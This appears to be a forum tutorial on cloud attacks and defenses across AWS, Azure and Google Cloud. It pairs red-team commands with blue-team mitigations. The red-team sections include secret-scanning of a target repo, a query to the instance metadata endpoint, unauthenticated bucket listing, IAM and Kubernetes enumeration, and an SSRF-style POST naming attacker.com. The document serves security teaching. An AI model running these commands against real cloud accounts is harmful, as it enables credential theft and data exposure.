Attacks on Cloud Infrastructure

Attacks on Cloud Infrastructure: AWS, Azure, and Google Cloud Under the Microscope​

Common Attacks in Cloud Environments​

1. Exposure of Credentials and Access Keys​

Red Team: Finding Exposed Credentials​

git clone https://github.com/trufflesecurity/trufflehog.git
cd trufflehog
python3 trufflehog.py --regex --entropy=True https://github.com/target/repo.git

curl http://169.254.169.254/latest/meta-data/

Blue Team: Securing Credentials​

• Enforce IAM credential rotation policies.
• Implement AWS Secrets Manager, Azure Key Vault, or Google Secret Manager.
• Set up alerts for leaked credentials using AWS GuardDuty, Azure Security Center, and Google Security Command Center.

2. Privilege Escalation and Lateral Movement​

Red Team: Enumerating IAM Roles and Policies​

aws iam list-policies --query 'Policies[*].PolicyName'

az role assignment list --output table

gcloud iam roles list

Blue Team: Mitigation Strategies​

• Apply the Principle of Least Privilege (PoLP).
• Use AWS IAM Access Analyzer, Azure Role-Based Access Control (RBAC), and Google IAM Policy Analyzer.
• Monitor IAM role changes and detect unusual activities.

3. Cloud Storage Attacks​

Red Team: Finding Open Buckets​

aws s3 ls s3://target-bucket --no-sign-request

az storage blob list --container-name targetcontainer --account-name targetaccount --output table

gsutil ls gs://target-bucket

Blue Team: Preventing Data Exposure​

• Restrict public access to buckets.
• Enforce encryption in transit and at rest.
• Monitor access logs using AWS CloudTrail, Azure Monitor, and Google Audit Logs.

4. Container and Kubernetes (K8s) Exploitation​

Red Team: Enumerating Kubernetes Services​

kubectl get pods --all-namespaces
kubectl describe pod target-pod -n target-namespace

Blue Team: Hardening Kubernetes Security​

• Restrict API access.
• Use Kubernetes security tools like Kube-bench and Falco.
• Enforce network policies and RBAC.

5. Serverless Exploitation (Lambda, Azure Functions, Google Cloud Functions)​

Red Team: Exploiting Serverless Functions​

curl -X POST -d 'payload=http://attacker.com' https://target-function.cloudfunctions.net/

Blue Team: Securing Serverless Functions​

• Enforce strict input validation.
• Use IAM policies to limit function permissions.
• Monitor logs for abnormal execution patterns.

Hands-On Labs​

Lab 1: Detecting Leaked AWS Credentials​

1. Create a test IAM user with minimal privileges.
2. Use truffleHog to simulate credential exposure.
3. Enable AWS GuardDuty and detect credential misuse.

Lab 2: Exploiting and Securing an Open S3 Bucket​

1. Configure an open S3 bucket.
2. Access the bucket without authentication.
3. Restrict access and enable logging.

Lab 3: Kubernetes Attack and Defense​

1. Deploy a vulnerable Kubernetes cluster.
2. Exploit misconfigurations using kubectl.
3. Implement role-based access control (RBAC).

General Defense Strategies​

• Zero Trust: Never assume a user, application, or service is trustworthy.
• Audit and Logging: Enable CloudTrail in AWS, Azure Monitor in Azure, and Cloud Audit Logs in Google Cloud.
• Real-Time Monitoring: Use SIEM solutions to detect anomalies.
• Reducing the Attack Surface: Implement Network ACLs, security groups, and cloud firewalls.

Conclusion​

Additional Resources​

Official Documentation​

1. AWS Security Documentation
   
   This link is hidden for visitors. Please Log in or register now.
   • Detailed guides on IAM, data protection, secure networking, and cloud audits.
2. Azure Security Best Practices
   
   This link is hidden for visitors. Please Log in or register now.
   • Covers advanced strategies for securing Azure environments, including RBAC, container security, and network hardening.
3. Google Cloud Security Best Practices
   
   This link is hidden for visitors. Please Log in or register now.
   • Explains access controls, identity management, security audits, and data leak prevention in GCP.

Red Team Security Tools​

1. TruffleHog (Detect leaked credentials)
   
   This link is hidden for visitors. Please Log in or register now.
   • Scans repositories for exposed credentials.
2. CloudSploit (AWS misconfiguration scanner)
   
   This link is hidden for visitors. Please Log in or register now.
   • Detects weak AWS configurations, such as overly permissive IAM roles and exposed S3 storage.
3. Pacu (AWS Exploitation Framework)
   
   This link is hidden for visitors. Please Log in or register now.
   • A penetration testing framework for AWS that allows privilege escalation, user enumeration, and exploitation of misconfigurations.
4. Kube-hunter (Kubernetes vulnerability scanner)
   
   This link is hidden for visitors. Please Log in or register now.
   • Performs security assessments on Kubernetes clusters to identify weak configurations and insecure access.

Blue Team Security Tools​

1. Falco (Intrusion detection for containers and Kubernetes)
   
   This link is hidden for visitors. Please Log in or register now.
   • Monitors suspicious events in container environments.
2. AWS GuardDuty
   
   This link is hidden for visitors. Please Log in or register now.
   • AWS service for threat detection using machine learning.
3. Azure Security Center
   
   This link is hidden for visitors. Please Log in or register now.
   • Provides real-time security assessments and threat protection.
4. Google Cloud Security Command Center
   
   This link is hidden for visitors. Please Log in or register now.
   • Offers visibility into vulnerabilities and threats in GCP environments.

Security Research Blogs and Resources​

1. Rhino Security Labs Blog
   
   This link is hidden for visitors. Please Log in or register now.
   • In-depth articles on cloud hacking, AWS, Azure, and Google Cloud.

1. Cloud Security Alliance (CSA)
   
   This link is hidden for visitors. Please Log in or register now.
   • Guides and frameworks for cloud security standards.

1. SANS Cloud Security Resources
   
   This link is hidden for visitors. Please Log in or register now.
   • Training and labs on cloud security.

Hands-On Labs and Simulations​

1. CloudGoat (AWS vulnerable environment for pentesting practice)
   
   This link is hidden for visitors. Please Log in or register now.
   • Simulates AWS attack scenarios for penetration testing.

1. Flaws.cloud (AWS misconfiguration simulation)
   
   This link is hidden for visitors. Please Log in or register now.
   • A challenge-based platform to learn about common AWS security mistakes.

1. Google Cloud CTF Labs
   
   This link is hidden for visitors. Please Log in or register now.
   • Hands-on challenges for cloud security learning.

Recommended Books​

1. Cloud Security Handbook - (Packt, 2022)
   • Covers AWS, Azure, and GCP security strategies.

1. Offensive Security in the Cloud - (No Starch Press, 2023)
   • Advanced cloud pentesting techniques.

1. Kubernetes Security: Container Security with RBAC and Beyond - (O’Reilly, 2022)
   • Security best practices for containerized environments.

Final Notes​